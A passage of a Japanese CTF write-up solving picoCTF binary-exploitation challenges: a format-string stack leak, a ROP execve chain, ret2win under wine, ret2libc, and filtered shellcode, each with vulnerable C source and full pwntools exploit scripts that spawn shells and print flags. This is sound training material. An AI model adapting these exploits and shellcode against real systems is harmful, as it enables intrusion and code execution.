                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

解法

vuln関数では入力した値をそのままprintf関数に渡している。
そのため%p などの書式文字列を入力した場合、スタック内のデータが出力されてしまう。
ローカル環境でgdb等を使い処理を確認すると、vuln関数ではprintfを呼ぶ前にreadflag関数を呼び出し、その値をスタックに保持していることを確認できる。

──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x8049355 <vuln+34>    call   readflag                     <readflag>
 
 ► 0x804935a <vuln+39>    add    esp, 0x10
   0x804935d <vuln+42>    sub    esp, 0xc
   0x8049360 <vuln+45>    lea    eax, [ebx - 0x1f9c]
   0x8049366 <vuln+51>    push   eax
   0x8049367 <vuln+52>    call   printf@plt                     <printf@plt>
 
   0x804936c <vuln+57>    add    esp, 0x10
   0x804936f <vuln+60>    sub    esp, 8
   0x8049372 <vuln+63>    lea    eax, [ebp - 0xc8]
   0x8049378 <vuln+69>    push   eax
   0x8049379 <vuln+70>    lea    eax, [ebx - 0x1f6d]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffce60 —▸ 0xffffcef0 ◂— 'flag{win!}\n'
01:0004│     0xffffce64 ◂— 0x40 /* '@' */
02:0008│     0xffffce68 —▸ 0xf7c122d0 ◂— 0x74656e00
03:000c│     0xffffce6c —▸ 0x8049346 (vuln+19) ◂— add    ebx, 0x2cba
04:0010│     0xffffce70 —▸ 0xf7fc3190 —▸ 0xf7c00000 ◂— 0x464c457f
05:0014│     0xffffce74 ◂— 0xffffffff
06:0018│     0xffffce78 —▸ 0xffffcef4 ◂— '{win!}\n'
07:001c│     0xffffce7c —▸ 0xf7c0e320 ◂— 0x204e /* 'N ' */

あとはスタック内を総当たりで探しに行くスクリプトを書けばよい。

from pwn import *

elf = context.binary  = ELF('./vuln', checksec=False)


for i in range(100):
    #p = process()
    p = remote("{host}", {port})


    try:
        p.sendline('%{}$s'.format(i))
        result = p.recvall()
        if result:
            print(str(i) + ': ' + str(result))
            p.close()
    except EOFError:
        pass

24: b"Tell me a story and then I'll tell you one >> Here's a story - \nCTF{L34k1ng_Fl4g_0ff_St4ck_0551082c}\n"
[+] Opening connection to saturn.picoctf.net on port 62270: Done

感想

かたわれさまのブログが非常に勉強になりました。
ありがとうございます…
https://kataware.hatenablog.jp/entry/2017/12/08/233903

t0m3yt0m3y

ropfu

問題

Description
What's ROP?

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}
          

バイナリ関連情報

$ file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped

$ checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

解説

vuln関数に脆弱性はあるが、今回はFlagを得るのに有効な関数がない。
そのため、シェルを取ることを考える。

シェルを取るためにはsys_execveに/bin/shを引数として渡せばいい。
https://syscalls32.paolostivanin.com/

manコマンドで調べてみる。

名前
       execve - プログラムを実行する

書式
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
        char *const envp[]);

説明
       execve()   は、filename によって指定されたプログラムを実行する。

以上からシェルを取るには以下のようにしてsys_execveを呼ぶ必要がある。

  • eax : 0xb
  • ebx : /bin/sh を保存したアドレスを示すポインタ
  • ecx : 0
  • edx : 0

シェルの取り方がわかったので次はROPの順番を考えてみる。

  1. popでレジスタに必要な値を入れる
  2. movで/bin/shを書き込み可能セクションに書き込む
  3. popでレジスタに必要な値を入れる
  4. syscallガジェットに飛ぶ

方法が定まったのでROP構築のために必要なガジェットのアドレスを調べていく。

$ ropper --file vuln --search "pop e"
省略
0x080583c8: pop eax; pop edx; pop ebx; ret; 
省略

$ ropper --file vuln --search "pop ecx"
省略
0x08049e39: pop ecx; ret; 
省略

$ ropper --file vuln --search "mov dword ptr " |grep edx
省略
0x08059102: mov dword ptr [edx], eax; ret; 
省略

$ ropper --file vuln --search "int 0x80"  
0x0804a3d2: int 0x80; 
省略

次に書き込み可能なメモリを探す。
dataセクションが使えそう。

$ readelf -S vuln
There are 29 section headers, starting at offset 0xace68:

セクションヘッダ:
  [番] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
 省略
  [19] .data             PROGBITS        080e5060 09c060 000ec0 00  WA  0   0 32
  [20] __libc_subfreeres PROGBITS        080e5f20 09cf20 000024 00  WA  0   0  4
  [21] __libc_IO_vtables PROGBITS        080e5f60 09cf60 000354 00  WA  0   0 32
  [22] __libc_atexit     PROGBITS        080e62b4 09d2b4 000004 00  WA  0   0  4
  [23] .bss              NOBITS          080e62c0 09d2b8 000d1c 00  WA  0   0 32
 省略
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  R (retain), D (mbind), p (processor specific)

あとは集めた情報から攻撃コードを作るだけ。
攻撃コードの中身はざっくりこんな感じ。

  1. eipまでパディングで埋める
  2. popガジェットを呼び出す
  3. 32bitバイナリなので、/bin //shを分割してmovする
  4. popガジェットを呼び出す
  5. syscallを呼ぶ

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)

context.log_level = 'debug'


io = start()

offset = 32

pop_eax_edx_ebx=0x080583c8 #pop eax; pop edx; pop ebx; ret; 
pop_ecx=0x08049e39 #pop ecx; ret; 

datasection=0x080e5060
mov_edx_eax= 0x08059102 #mov dword ptr [edx], eax; ret; 
int_0x80=0x0804a3d2 #int 0x80; 

payload = flat(
    asm("nop")*28,
    pop_eax_edx_ebx,
    "/bin",
    datasection,
    "junk",
    mov_edx_eax,
    pop_eax_edx_ebx,
    "//sh",
    datasection+4,
    "junk",
    mov_edx_eax,
    pop_eax_edx_ebx,
    11,
    0,
    datasection,
    pop_ecx,
    0,
    int_0x80
)

write("payload",payload)
io.recvuntil("grasshopper!\n")

io.sendline(payload)
io.interactive()

$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x22 bytes:
    b'picoCTF{5n47ch_7h3_5h311_e81af635}'
picoCTF{5n47ch_7h3_5h311_e81af635}$ 

無事シェルが取れた。

感想

カナリアは?

t0m3yt0m3y

wine

問題

Challenge best paired with wine.

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void win(){
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("flag.txt not found in current directory.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

void vuln()
{
  printf("Give me a string!\n");
  char buf[128];
  gets(buf);
}

int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
  return 0;
}

配布ファイル

$ file vuln.exe                            
vuln.exe: PE32 executable (console) Intel 80386, for MS Windows

解法

windows問。
タイトルからしてwineを使えという問題っぽい。
やること自体は非常にシンプルでret2winするだけ。

$ cyclic 200 | wine vuln.exe
Give me a string!
wine: Unhandled page fault on read access to 6261616B at address 6261616B (thread 0024), starting debugger...
Unhandled exception: page fault on read access to 0x6261616b in 32-bit code (0x6261616b).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:6261616b

$ cyclic -l 0x6261616b                                                                 
140
$ objdump -d -M intel vuln.exe |grep win   
00401530 <_win>:
  401551:	75 18                	jne    40156b <_win+0x3b>

上記の情報をもとに、攻撃コードを作る。

from pwn import *
context.log_level="debug"
exe = "./vuln.exe"

win = p32(0x00401530)
offset = 140

payload = flat(
   "A" * offset,
   win 
)

io = remote("{host}", {port})
io.recvuntil("string!")
io.sendline(payload)
io.interactive()
[DEBUG] Received 0x23 bytes:
    b'picoCTF{Un_v3rr3_d3_v1n_acdf9f0a}\r\n'

flagゲット。

感想

wineを使ったことないので焦りました。
windows問にもなれていかなきゃ....

t0m3yt0m3y

Here's a LIBC

問題

Description
I am once again asking for you to pwn this binary

解法

まずは緩和機構やバイナリの種類を確認する。
気になる点としては、PIEがなく、NXがあること。

$ file vuln 
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=e5dba3e6ed29e457cd104accb279e127285eecd0, not stripped
                                                                                                               
$ checksec vuln  
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'

ソースコードがないので、ghidraに食わせてみるとdo_stuff関数にbofが発生しそうな箇所がある。

void do_stuff(void)

{
  char cVar1;
  undefined local_89;
  char local_88 [112];
  undefined8 local_18;
  ulong local_10;

  local_18 = 0;
  __isoc99_scanf("%[^\n]",local_88);
  __isoc99_scanf(&DAT_0040093a,&local_89);
  for (local_10 = 0; local_10 < 100; local_10 = local_10 + 1) {
    cVar1 = convert_case((int)local_88[local_10],local_10);
    local_88[local_10] = cVar1;
  }
  puts(local_88);
  return;
}

(%[^\n]という書き方があることを知らなかった)
参考:
https://ja.wikipedia.org/wiki/Scanf

脆弱性の箇所を特定できたのであとはret2libcしてシェルを取ればOK。
攻撃に必要な情報を探して、攻撃コードを組む。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)



# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b do_stuff
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
libc = ELF("./libc.so.6")

io =start()

puts_plt = elf.plt.puts 
puts_got = elf.got.puts

# ropper --file vuln --search "pop rdi"
# ropper --file vuln --search "ret"

pop_rdi=0x0000000000400913 #: pop rdi; ret; 
ret =0x000000000040052e

offset = 136


payload =flat(
    asm("nop")*offset,
    pop_rdi,
    puts_got,
    puts_plt,

    elf.symbols.main
)

io.sendlineafter("WeLcOmE To mY EcHo sErVeR!",payload)
io.recvline()

leak= io.recv()
leak = leak.strip(b"\x90")[2:8].ljust(8,b"\x00")
leak =u64(leak)

info("libc_offset: %#x",leak)

puts_offset =libc.symbols['puts']

# strings -a -t x ./libc.so.6 |grep "bin/sh"

binsh_offset=0x1b40fa
system_offset= libc.symbols["system"]

libc_base = leak-puts_offset
libc_system = libc_base+system_offset
binsh=libc_base+binsh_offset

info("libc_base: %#x",libc_base)
info("libc_system: %#x",libc_system)
info("binsh: %#x",binsh)

payload2=flat(
    asm("nop")*offset,
    pop_rdi,
    binsh,
    ret,
    libc_system
)

io.sendline(payload2)
io.interactive()

上記コードを実行してフラグゲット。

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x30 bytes:
    b'flag.txt\n'
    b'libc.so.6\n'
    b'vuln\n'
    b'vuln.c\n'
    b'xinet_startup.sh\n'
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
    b'picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}'
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}$

余談

問題バイナリを実行したところ、以下のエラーが発生し、実行できなかった。
そのため以下の方法で解決した。

$ patchelf  --set-interpreter ./ld-2.27.so ./vuln 

https://manpages.ubuntu.com/manpages/xenial/man1/patchelf.1.html

大変勉強になりました。

t0m3yt0m3y

filtered-shellcode

問題

A program that just runs the code you give it? That seems kinda boring...

解法

入力を受け取り受け取った値を実行してくれるようなので、シェルコードを入力すれば良い。
しかし問題名の通り、いつものシェルコードをいれてもフィルターされてしまう。
フィルターは\x90\x90が2byteごとに追加されるというものなので、2byteの命令でシェルコードを作成すればいい。

2byte命令で作成したシェルコード。

xor eax eax
push eax
push eax
mov edi ,esp                                                          

mov al ,0x2f
add [edi],al
inc edi 
nop

mov al,0x62
add [edi],al
inc edi
nop

mov al,0x69
add [edi],al
inc edi
nop

mov al,0x6e
add [edi],al
inc edi
nop

mov al,0x2f
add [edi],al
inc edi
nop

mov al,0x73
add [edi],al
inc edi
nop

mov al,0x68
add [edi],al
inc edi
nop

xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al, 0xb
mov ebx,esp
int 0x80

※nopを挟んでいるのは2byteずつにそろえるため

作ったシェルコードが2byte命令のみで構成されているかはpwntoolsのコマンドラインツール使って確認する。
https://docs.pwntools.com/en/stable/commandline.html
※知らなかったがめちゃくちゃ便利だった…

pwn asm の出力をpwn disasmでディスアセンブルしたりして確認しながら上のシェルコードを作った。

#asm => byte
pwn asm "{code}"

#byte => asm
pwn disasm "{byte}"

あとは作ったシェルコードを攻撃コードに組み込んで終わり。

from pwn import *
elf = context.binary = ELF("./fun")

#io = process()
io = remote("mercury.picoctf.net",28494)

payload =asm("""
xor eax ,eax
push eax                      
push eax
mov edi ,esp
mov al ,0x2f
add [edi],al
inc edi 
nop

mov al,0x62
add [edi],al
inc edi
nop

mov al,0x69
add [edi],al
inc edi
nop

mov al,0x6e
add [edi],al
inc edi
nop

mov al,0x2f
add [edi],al
inc edi
nop

mov al,0x73
add [edi],al
inc edi
nop

mov al,0x68
add [edi],al
inc edi
nop
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al, 0xb
mov ebx,esp
int 0x80
""")

io.recvuntil("run")
io.sendline(payload)
io.interactive()
$ id
uid=1594(filtered-shellcode_4) gid=1595(filtered-shellcode_4) groups=1595(filtered-shellcode_4)
$ cat flag.txt
picoCTF{th4t_w4s_fun_384f7c52706306d0}$